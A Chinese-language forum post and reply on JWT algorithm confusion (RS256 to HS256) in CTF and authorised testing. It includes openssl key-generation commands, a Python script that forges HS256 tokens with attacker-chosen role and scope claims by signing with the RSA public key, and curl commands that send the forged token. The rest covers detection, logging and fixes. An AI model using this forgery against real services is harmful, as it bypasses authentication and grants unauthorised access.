发布于2小时前2小时 背景在不少 Web 类 CTF 和授权内网测试中,JWT 题目的关键并不是破解 RSA,而是确认服务端是否错误地信任了令牌头部的 alg 字段。典型场景是系统原本使用 RS256:认证服务用 RSA 私钥签名,业务服务通过公开的 RSA 公钥验签;但业务服务同时允许 HS256,并把同一份公钥字节当作 HMAC 密钥使用。攻击者不需要私钥。只要公钥可以从 JWKS、证书或应用配置中正常取得,就可能自行生成一个 HS256 令牌,将公钥字节作为 HMAC secret,进而修改 role、scope、tenant_id 等权限字段。以下内容仅用于 CTF 环境或已授权测试,验证时应使用测试账号和只读接口。问题定位算法混淆成立通常需要同时满足以下条件:服务端根据 JWT Header 中的 alg 动态选择验签算法。验签配置同时接受 RS256 和 HS256,而不是固定为单一算法。RSA 公钥可以从 /.well-known/jwks.json、证书文件或前端配置中获取。HS256 验签分支接受公钥的原始 DER 字节作为 HMAC 密钥。业务权限直接信任 token 内的 role、groups 或 scope,缺少服务端二次授权。排查时先取得一个低权限测试账号的合法 JWT,只解码 Header 和 Payload,不要把“解码成功”误认为“签名有效”。可使用以下命令查看令牌结构:export TOKEN='eyJ...' python3 - "$TOKEN" <<'PY' import sys, json, base64 def decode_part(value): value += "=" * (-len(value) % 4) return json.loads(base64.urlsafe_b64decode(value)) header, payload, signature = sys.argv[1].split(".") print("header:", json.dumps(decode_part(header), ensure_ascii=False, indent=2)) print("payload:", json.dumps(decode_part(payload), ensure_ascii=False, indent=2)) print("signature_bytes:", len(base64.urlsafe_b64decode(signature + "=" * (-len(signature) % 4)))) PY重点记录 alg、kid、iss、aud、sub、exp、jti、role 和 scope。若正常令牌使用 RS256,但接口文档、错误响应或历史配置显示还接受 HS256,就应继续做受控验证。技术分析RS256 与 HS256 的密钥语义完全不同。RS256 使用私钥签名、公钥验签;HS256 使用同一个共享密钥完成签名和验签。问题不在 RSA 强度,而在服务端把攻击者可获得的公钥误当成了 HMAC 共享密钥。存在缺陷的验签逻辑通常类似下面的伪代码:header = decode_header(token) algorithm = header["alg"] # 错误:算法由令牌自行决定,并共用 key_material claims = jwt_verify( token, key=key_material, algorithms=["RS256", "HS256"] )安全实现应由服务端配置决定算法,不能把 token 中的 alg 当作可信输入。kid 也只能用于从预先批准的密钥集合中选取密钥,不能直接拼接文件路径或远程地址。本地复现步骤先在隔离环境生成测试密钥。这里输出 DER 公钥,是因为部分旧版或自研 JWT 验签器会把 DER 原始字节直接交给 HMAC 分支;现代库通常会拒绝把 PEM 公钥作为 HMAC secret。mkdir -p /tmp/jwt-confusion-lab cd /tmp/jwt-confusion-lab openssl genpkey -algorithm RSA \ -pkeyopt rsa_keygen_bits:2048 \ -out private.pem openssl pkey -in private.pem -pubout -out public.pem openssl pkey -pubin -in public.pem -outform DER -out public.der openssl pkey -pubin -in public.pem -text -noout sha256sum public.der下面的脚本只用于本地靶场,使用 public.der 作为 HS256 密钥,生成一个包含测试权限声明的令牌:cat > make_hs256_token.py <<'PY' import base64 import hashlib import hmac import json import time def b64url(data): return base64.urlsafe_b64encode(data).rstrip(b"=") def compact(obj): return json.dumps(obj, separators=(",", ":")).encode() now = int(time.time()) header = { "typ": "JWT", "alg": "HS256", "kid": "lab-rsa-01" } payload = { "iss": " "aud": "audit-api", "sub": "ctf-test-user", "role": "auditor", "scope": "permissions:read", "iat": now, "exp": now + 300, "jti": "jwt-confusion-lab-001" } with open("public.der", "rb") as f: key = f.read() message = b".".join((b64url(compact(header)), b64url(compact(payload)))) signature = hmac.new(key, message, hashlib.sha256).digest() print((message + b"." + b64url(signature)).decode()) PY python3 make_hs256_token.py授权测试中不要直接把 role 改为最高权限并调用写接口。更稳妥的做法是使用专门的测试角色,例如 auditor,只访问无副作用的权限回显或当前身份接口:export POC_TOKEN="$(python3 make_hs256_token.py)" curl -i --max-time 5 \ -H "Authorization: Bearer $POC_TOKEN" \ curl -i --max-time 5 \ -H "Authorization: Bearer $POC_TOKEN" \ HTTP 200,而是服务端是否把未经 RSA 私钥签名的 HS256 token 识别为有效身份。应同时对比基线令牌与验证令牌的 sub、role、scope、响应字段和服务端日志。若接口返回 401,并明确记录 algorithm not allowed,通常说明算法白名单已生效。内网权限边界验证在内网场景中,JWT 往往跨多个微服务流转。认证网关可能正确限制 RS256,但下游服务直接解析 X-Forwarded-Access-Token,或者各服务使用不同版本的 JWT SDK,导致只有部分节点存在问题。因此不能只测试入口网关。梳理令牌经过的组件:反向代理、API 网关、认证中间件和业务服务。检查各组件是否独立验签,还是仅信任上游注入的用户头。确认 role 和 scope 是在网关统一计算,还是由下游直接读取 JWT Payload。对不同节点分别记录响应头、实例标识和 trace_id,避免把负载均衡差异误判为偶发现象。若网关剥离 Authorization 后注入 X-User-Role,应确认外部请求不能自行提交同名头部。可以在测试窗口内使用唯一 jti 和固定 User-Agent,方便日志检索:curl -sS -D /tmp/jwt-test.headers \ -H "Authorization: Bearer $POC_TOKEN" \ -H "User-Agent: authorized-jwt-check/1.0" \ -H "X-Test-Case: JWT-ALG-001" \ \ -o /tmp/jwt-test.body cat /tmp/jwt-test.headers cat /tmp/jwt-test.body日志留痕与排查算法混淆不会产生“RSA 被破解”一类日志,因为从缺陷验签器的角度看,HMAC 签名是正确的。检测重点应放在算法策略、身份声明与业务行为的不一致上。检查项可疑表现alg原定只使用 RS256 的发行方突然出现 HS256kid不存在的 kid、异常长度、路径字符或频繁变化角色普通 sub 首次出现 auditor、admin 等高权限角色jti缺失、重复使用,或短时间跨多个来源地址出现iss 与 aud签发方正确但受众不匹配,服务仍然放行网关与下游结果网关记录验签失败,下游业务却返回成功日志中不应保存完整 JWT,避免令牌二次泄露。建议记录 token 的 SHA-256 摘要、alg、kid、iss、aud、sub、jti、验签结果、拒绝原因和 trace_id。测试完成后,可按唯一 jti 或 X-Test-Case 检索完整链路。修复建议在服务端固定算法,例如只允许 RS256 或 ES256。算法列表必须来自部署配置,不能来自 JWT Header。区分非对称验签公钥和 HMAC 密钥的存储类型,禁止同一 key material 跨算法复用。升级 JWT SDK,并启用其针对 PEM、DER 公钥误用为 HMAC secret 的防护。严格校验 iss、aud、exp、nbf,设置合理时钟偏差;不能只验证签名。kid 只能在本地受信任密钥集合中查找,并限制字符集和长度,禁止路径拼接与任意 URL 拉取。高风险权限不要只依赖 token 中的 role。业务服务应结合账号状态、租户归属和服务端权限表二次判定。网关必须删除外部传入的 X-User、X-Role、X-Scope 等身份头,再写入自身生成的可信值。轮换可能受影响的密钥,撤销相关会话,并按日志中的 alg、kid、sub 和时间范围回溯异常调用。安全配置的核心是显式指定算法与必要声明。例如验签逻辑应固定为 RS256,并要求 issuer、audience 和 expiration:claims = jwt_decode( token, rsa_public_key, algorithms=["RS256"], issuer=" audience="audit-api", options={ "require": ["exp", "iat", "iss", "aud", "sub"] } )总结JWT 算法混淆是典型的 CTF 密码学误用题:密码算法本身没有被攻破,真正失守的是算法选择和密钥类型边界。授权测试时应先确认前置条件,再通过本地复现和只读接口完成最小化验证,同时保留 jti、trace_id、请求摘要和服务端日志。修复不能停留在“升级库”,还需要固定算法、隔离密钥用途、校验完整声明,并在业务层重新建立权限边界。 网络请求、日志与边界流量分析示意 安全动态、影响面和处置建议示意
1小时前1小时 这类题建议把“签名绕过”和“内网权限提升”分开验证。JWT 算法混淆成立,不等于权限边界一定失守;关键还要看内部服务是否直接信任令牌里的 role、scope,以及是否校验自己的 aud。 如果题目是典型的 RS256 → HS256 混淆,排查重点是:验签代码是否根据令牌头里的 alg 选择算法,以及同一份 RSA 公钥是否可能被作为 HMAC 密钥使用。修复不能只过滤 alg=none,需要把算法和密钥类型绑定到服务端配置。以 PyJWT 为例: import jwt # 从可信配置加载,不使用令牌携带的 jku/x5u 获取验签密钥 PUBLIC_KEY = open("/etc/service/jwt-public.pem", "rb").read() def verify_token(token): return jwt.decode( token, PUBLIC_KEY, algorithms=["RS256"], # 不从未验证的 header 动态生成 issuer=" audience="internal-api", options={ "require": ["exp", "iss", "aud", "sub"], }, leeway=30, ) 验签通过后仍要执行接口级授权,不能把“合法签发”当成“可以访问所有内网接口”。尤其是网关验签、后端只读 claims 的架构,要确认后端不能被绕过网关直连,且网关会清除客户端伪造的身份透传头。 回归测试至少覆盖:正常 RS256 令牌通过;HS256 替换、none、错误受众、缺少过期时间均拒绝;合法低权限令牌访问管理接口返回 403。如果用了 kid,再检查它是否只匹配预先配置的可信密钥,不能直接拼接文件路径或查询地址。这样才能区分“验签补上了”和“权限边界真正补上了”。
创建帐户或登录后发表意见